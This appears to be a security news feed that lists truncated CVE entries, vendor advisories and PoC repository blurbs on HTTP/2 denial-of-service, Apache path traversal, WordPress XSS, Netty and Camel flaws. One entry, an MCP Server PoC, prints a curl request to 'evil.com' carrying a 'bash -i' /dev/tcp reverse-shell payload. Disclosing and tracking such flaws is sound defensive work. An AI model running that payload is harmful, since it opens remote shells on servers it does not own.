http2-bomb-detector

http2-bomb-detector HTTP/2 Bomb CVE-2026-49975 비파괴적 취약점 탐지 도구 — Nginx / Apache httpd용 취약점 배경 CVE-2026-49975은 광범위한 영향을 미치는 HTTP/2 프로토콜 계층의 원격 서비스 거부 취약점으로, 보안 연구원 Quang Luong이 발견했습니다. 이 취약점은 HPACK 헤더 압축 과 흐름 제어 메커니즘 의 결합 설계 결함을 악용하며, 공격자는 인증 없이 10-20초 내에 서버의 32GB 메모리를 고갈시킬 수 있습니다. CVSS 3.1 : 9.8치명...

USN-8869-1: RabbitMQ Server vulnerability

It was discovered that RabbitMQ Server incorrectly handled certain HTTP/2 headers. An attacker could possibly use this issue to cause a denial of service via memory exhaustion...

USN-8869-1 rabbitmq-server vulnerability

It was discovered that RabbitMQ Server incorrectly handled certain HTTP/2 headers. An attacker could possibly use this issue to cause a denial of service via memory exhaustion...

CVE-2021-41773

CVE-2021-41773 — PoC: modcgi 経由の Path Traversal + RCE 管理された自分専用の環境でのみ使用すること。許可なくシステムに対して使用しないこと。 説明 Apache HTTP Server 2.4.49 に存在する脆弱性 CVE-2021-41773 を実証・理解するために開発された PoC です。 この欠陥は apnormalizepath 関数にあり、URL エンコードされた文字を適切に検証していませんでした。これにより、攻撃者はエンコードされた文字列（../ の代わりに %2e%2e%2f）を使うことで DocumentRoot...

CVE-2026-39724

Unauthenticated Cross Site Scripting XSS in HTTP Requests Manager = 1.3.11 versions...

CVE-2021-41773-Apache-Lab

CVE-2021-41773 — Apache HTTP Server 2.4.49 ラボ Apache HTTP Server 2.4.49 のパストラバーサル脆弱性 CVE-2021-41773 の再現。 このプロジェクトは、Docker を使用して隔離された脆弱な環境を作成し、Python の PoC を使用して制御されたファイル開示を実証します。 安全上の注意: この PoC は localhost、127.0.0.1、または ::1 のターゲットのみを受け付けます。テストは隔離されたラボ内でのみ実施してください。 目的 このプロジェクトは以下を実証します: Docker で...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP Server의 취약점에 대한 PoC. 올바른 본문으로 POST 부분을 자동화했습니다. 취약한 경로: /api/mcp/connect curl을 통한 방법: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO...

EUVD-2026-93246

Unauthenticated Cross Site Scripting XSS in HTTP Requests Manager = 1.3.11 versions...

CVE-2026-39724 WordPress HTTP Requests Manager plugin <= 1.3.11 - Cross Site Scripting (XSS) vulnerability

Unauthenticated Cross Site Scripting XSS in HTTP Requests Manager = 1.3.11 versions...

CVE-2026-39724

The WordPress HTTP Requests Manager plugin, affecting versions

CVE-2026-39724 WordPress HTTP Requests Manager plugin <= 1.3.11 - Cross Site Scripting (XSS) vulnerability

Unauthenticated Cross Site Scripting XSS in HTTP Requests Manager = 1.3.11 versions...

Security update for docker-stable

This update for docker-stable fixes the following issues: CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2 :path pseudo- header bsc1260279. CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad...

CVE-2026-40022

camel-platform-http-main 非ルートコンテキストパスにおける認証バイパス（CVE-2026-40022） このプロジェクトは、Apache Camel の camel-platform-http-main コンポーネント（Camel main ランタイムの組み込み HTTP / 管理サーバー）における 認証バイパス を実証するもので、CVE-2026-40022 として追跡されています。認証が有効で、非ルートのコンテキストパス（例：/api や /admin）が設定されている場合、認証ハンドラーは正確なコンテキストパスのみをカバーするため、サブパス...

io.netty/netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing

A flaw was found in Netty, a network application framework. A remote attacker, by sending a specially crafted SPDY/3.1 SETTINGS frame, could cause the SPDY SETTINGS decoder to create a large number of map entries. This excessive processing and memory allocation can lead to a denial of service DoS...

netty: io.netty/netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification

A flaw was found in Netty, a network application framework. A remote attacker could exploit a vulnerability in the SPDY header decoding process. By sending a specially crafted, small compressed header block, the attacker can cause it to expand significantly during decompression, leading to...

Important: Red Hat Security Advisory: Apicurio Registry (container images) release and security update [ 3.3.3 GA ]

An update to the images for Red Hat build of Apicurio Registry is now available from the Red Hat Container Catalog. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of...

netty: io.netty/netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec

A flaw was found in Netty. A remote attacker can exploit a vulnerability in the SpdyHttpDecoder handler of Netty's SPDY-to-HTTP codec. When processing a client-initiated SYNSTREAM frame, the decoder fails to release allocated memory if the stream is reset or content limits are exceeded. This...

io.netty/netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak

A flaw was found in Netty, a network application framework. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP/2 DATA frames to applications that use Netty and have HTTP/2 content decompression enabled. This can lead to memory exhaustion, causing t...

io.netty/netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb)

A flaw was found in the Netty netty-codec-http component. A remote attacker can send HTTP requests containing highly compressed data. The HTTP decoder in netty-codec-http fails to properly limit the decompression of this content, causing the system to consume excessive memory. This can lead to...

CVE-2026-49975

CVE-2026-49975 HTTP/2 Bomb PoC HTTP/2 원격 서비스 거부 취약점 재현 도구 취약점 개요 CVE-2026-49975 는 주요 웹 서버에 영향을 미치는 HTTP/2 서비스 거부 취약점입니다. 이 취약점은 보안 회사 CalifOpenAI Codex 사용에 의해 2026년 6월 초에 발견되었습니다. 공격 원리 1. HPACK 압축 폭탄 : 매우 작은 헤더예: "x: a"를 서버 HPACK 동적 테이블에 삽입한 후, 수천 개의 1바이트 인덱스 참조를 전송합니다. 각 참조는 서버가 많은 양의 부기 메모리를...